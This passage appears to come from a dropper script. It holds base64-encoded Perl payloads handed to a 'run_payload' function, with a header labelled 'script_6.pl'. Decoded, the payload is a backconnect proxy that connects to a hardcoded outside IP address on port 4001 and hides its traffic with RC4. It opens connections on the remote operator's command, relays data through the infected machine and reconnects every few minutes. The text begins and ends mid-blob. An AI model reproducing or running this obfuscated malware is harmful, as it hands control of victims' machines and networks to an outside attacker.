gkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_6.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTU1JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGR